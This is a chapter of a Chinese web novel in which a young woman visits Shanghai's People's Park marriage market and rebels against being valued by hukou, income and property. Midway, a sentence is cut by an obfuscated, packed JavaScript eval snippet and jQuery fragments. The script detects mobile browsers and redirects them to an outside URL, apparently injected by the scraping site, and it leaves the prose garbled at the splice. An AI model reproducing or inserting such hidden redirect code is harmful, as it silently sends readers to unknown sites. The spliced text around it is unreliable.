分别是在人民广场地铁站的出口。


    “你一个人没问题吗？”裴雨还是有点不放心地问。


    宋行周点点头：“我在这附近住，打车回去很快。你放心吧，今天谢谢你了。”


    “我还以为你会说‘下次请你吃饭当谢礼’那种套话。”她笑着打趣。


    “那你愿意听吗？”他微微侧头，眉眼里透着点狡黠，“说了你愿意再见我吗？”


    她噎了一下，没想到他还挺会说话的。宋行周看起来斯文得像个学究，聊起天来却比同龄人还要松弛。


    “看我心情吧。”她扔下一句，又笑，“快回去歇着吧。”


    目送他离开，她才忽然意识到，自己原本低压运转一整天的心情，居然因为短短十几分钟的对话而轻盈了不少。


    地铁口的风还是闷的，但她脑子里那点焦灼感却意外地散了。


    她随手在地图上搜了一下“人民公园”，鬼使神差地点下了“路线”。她知道那地方，一直知道——魔都相亲角的发源地，神州大地最著名的“父母市场”。


    她只是……突然有点好奇。


    也许，是宋行舟那句“现在年轻人不焦虑才奇怪”让她想看看，那些让她焦虑不安、被迫面对的人生节点，到底是个什么样子。


    人民公园傍晚时分人还很多。


    夏末的天还没完全暗下，林荫道边撑起了一排排遮阳伞，伞下是一块块手写的或打印的白纸，整齐贴在折叠椅背上。人们或站或坐，神情专注，一边打量着“资料牌”，一边跟对方交换着手机照片。


    “女，1992年生，海归硕士，现供职外企，有房有车，要求男方年薪百万元以上。”


    “男，1989年，复旦硕士，体制内公务员，有房在建，父母退休公务员，寻魔都本地女。”


    “女，1996年，未婚，165cm，本科，小学教师，父母教师家庭，要求对方户口上海、名下房产清晰、已购社保满五年。”


    裴雨站在一棵树下，半天没有动。她以为自己已经算是很能接受“现实”的人了，但亲眼看到这一份份像是商品说明书的“择偶条件”，心里仍泛起一阵异样的不适。


    她不是没有见过人多的场景，也不是不知道“相亲角”这个魔都特色的存在，但她没想到，当自己真正站在这里时，会有种无法融入的抽离感。


    她被一位满头银发的大爷拉着看了一张资料。


    “这个，95年的，男孩子，人老实，在事业单位，自己攒钱买了套公寓，虽然小，但地段好。”


    裴雨看了一眼，照片上的人戴着墨镜，一脸严肃，身后是某个景区的大佛像。


    “他……是你儿子？”


    “外甥。”大爷头也不抬，“你是95后的吧？看起来还挺精神，你在魔都工作？”


    “嗯。”


    “户口是哪里的？”


    “西南那边。”


    “那父母是做什么的？在老家有房吗？你准备以后定居哪里？”


    裴雨像被投了个速答题本，一时间都不知该先回答哪个。她下意识往后退了半步，嘴角挂着一点客气但有些僵硬的笑。


    “我只是来看看。”


    “看看也好！看看了解行情嘛。”大爷似笑非笑地眯着眼，“现在95年都不小了，女孩子别太挑，你看那些90后在这边挑了好几年，还不是最后将就找了个……”


    话没说完，裴雨已经不动声色地挪开了脚步。


    她沿着林荫道继续往前走，想要从“游客”变成“参与者”，起码坐下来和几个大妈聊聊天。她找了一个角落，坐在长椅边，身边是一位中年阿姨，正在和另一位交换相亲对象的微信二维码。


    “你那个上次相的公务员怎么样？”


    “不行，太木讷了，而且父母还是二婚。”


    “哎呀现在能找到个有房有编制的，性格就睁只眼闭只眼吧。”


    “那你家姑娘肯定不肯。”


    “我家小雨脾气拗，不肯就算了，反正我能替她多看看。”


    “小雨”这个词像一根针扎进裴雨耳朵。她回头看了那位阿姨一眼，不禁心想，会不会所有来相亲角的母亲都叫自己的孩子“小雨”、“小宁”或者“小辰”？


    她鼓起勇气转过身，对那位阿姨笑了笑：“阿姨，我是97年的，还没结婚。”


    对方愣了一下，随即热情起来：“哎呀，那你要不要把条件写一份？这边有打印的地方，也可以手写，我给你介绍几个我认识的男生，条件都不错，都是本地人。”


    “我……没有资料纸。”


    “没关系，先说说条件？你做什么工作的？月收入多少？有房吗？有没有贷款？”


    裴雨顿了顿，缓缓开口：“我在外企做市场部经理，月薪两万多，没有房，租的房子，自己一个人住。”


    阿姨听完后笑容明显温和了一些，但眼里透出一丝遗憾：“一个人住也好，起码能照顾自己。就是没有房子有点吃亏，现在男方家都希望女方至少有份房贷在身上，显示你也有‘共同承担’的能力。”


    “共同承担？”裴雨小声重复了一遍，仿佛在反刍这四个字。她从来没有想过，自己未来婚姻的筹码，要靠贷款来换取公平。


    “你家有兄弟姐妹吗？”阿姨又问。


    “没有，我一个孩子。”


    “那更要早点结婚了，你要是不尽早嫁出去，等你岁数上来，你爸妈压力就大了。现在年轻人都这样，拖着拖着就剩下了。”


    “我没觉得自己是‘剩下’。”她终于忍不住小声回了一句。


    阿姨愣了一下，随即摆摆手：“你别误会，我不是那个意思，只是你要理解，婚姻嘛，不只是你自己的事。咱们现在这个时代，女人的青春不能耗太久。”


    “你是新魔都人吧？”那位阿姨又说了一句。


    “……什么意思？”


    “就是最开始不是本地户口，在这边工作几年的人啊。现在新魔都人也分很多层次呢。有些是高知高薪，自己能买房落户；有些还住在五环外打拼，想嫁个本地人改变命运的。还有些就……年纪大了，凑合着结婚。”


    她话说得毫不遮掩，甚至有点过于直白了。可周围听的人却没有人反感，仿佛这就是规则，这就是“现实”。


    裴雨嘴唇动了动，想反驳什么，最后却什么也没说。她站在原地，只觉得自己像个傻子似的，居然还带着几分好奇走了过来，结果被这场“户口-收入-年龄”的公开比


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691754|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    武浇了一头冷水。


    她忽然想起，宋行周没提及他的职业，只说晚上经常通宵，难道是个大厂员工？


    如果把他的资料写在纸上，贴在这里，会不会被一句“工作不稳定”、“收入不稳定”、“不属于本地优质资源”给踢出去？


    她居然有点不开心。


    不是为自己，而是为这个场景本身。


    一阵风吹来，树上的叶子哗啦哗啦响，有人从她身边走过，拎着喇叭在放轻音乐，还有人带着家里的小狗，边遛边和另一位家长商量婚事。


    空气混杂着香水、汗味和树叶的青涩气息，还有各种对话：


    “他年薪八十万？可他离过婚啊。”


    “魔都户口是他爷爷的吧，跟他没关系。”


    “95年还没结婚啊，太拖了。”


    裴雨突然觉得脑子有点炸。她不是不能理解这些标准、标签和量化条件存在的合理性，但她无法接受，自己真的要被摆上这一排排椅子、遮阳伞、A4纸中，被无数陌生人拿着计算器般的目光来衡量价值。


    她站了起来，走到一个打印摊位前，犹豫了几秒，又退了回来。


    “要不要帮你打份资料？”摊主问。


    她摇摇头：“不用了，谢谢。”


    她穿过人群，越走越快，越走越急。她不知道自己在逃避什么，只知道自己不想再待下去了。


    仿佛迟一分钟，就要被这个相亲角消化掉，再也走不出来了。


    出了人民公园，她深吸了一口气，天已经彻底黑了，远处陆家嘴的灯光一闪一闪，像隔着一条河的异国世界。


    她回头看了一眼那座公园，忽然有种难以言说的释然。


    她知道自己不会再来第二次了。


    离开公园的时候，天已经完全黑下来了。马路对面是灯火通明的商圈，人群熙熙攘攘，地铁站口还有人举着牌子发传单，晚饭时段刚开始，一切看上去那么热烈，而她却像被这热烈压得喘不过气来。


    她走到一处长椅上坐下，掏出手机，看到妈妈的消息又发了一条：“小雨，你看到我发的了吗？你那个高中同学已经订婚了，人家也是留在老家找了个好人家，稳定又安心。”


    她指尖停在屏幕上几秒，终于回了句：“我今天刚去人民公园看了相亲角。”


    对面很快发来语音：“哎呀你总算想通了！你看，妈也不是逼你，我是希望你以后过得安稳，不要一个人那么辛苦。你要是能找个本地人，安安心心过日子，妈睡觉都能笑醒……”


    裴雨没点开语音，只是盯着语音右侧那个波纹线一跳一跳地颤动。她脑子里却全是宋行舟蹲在地上找眼镜的样子，那双眯着的眼睛，平静又克制，却不卑不亢。


    她又点开了朋友圈，滑了几下，更新了一条状态：


    【下班后出来透气，结果在地铁口撞见个很有趣的人。】


    没有配图，没有提及名字。


    她看着那行字，忽然笑了一下，然后回到和妈妈的聊天框，打下一行字：


    【你放心，我不会随便找个人结婚的。】


    她删掉，又改成：


    【我在努力过我自己想要的生活。】


    这次她没有再删掉，点了发送。